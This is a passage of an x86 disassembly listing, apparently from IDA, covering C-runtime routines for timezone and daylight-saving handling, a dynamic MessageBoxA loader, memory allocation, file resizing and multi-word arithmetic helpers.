; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28908C9h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 260089Dh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690B08h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 2600000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 26709D6h
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

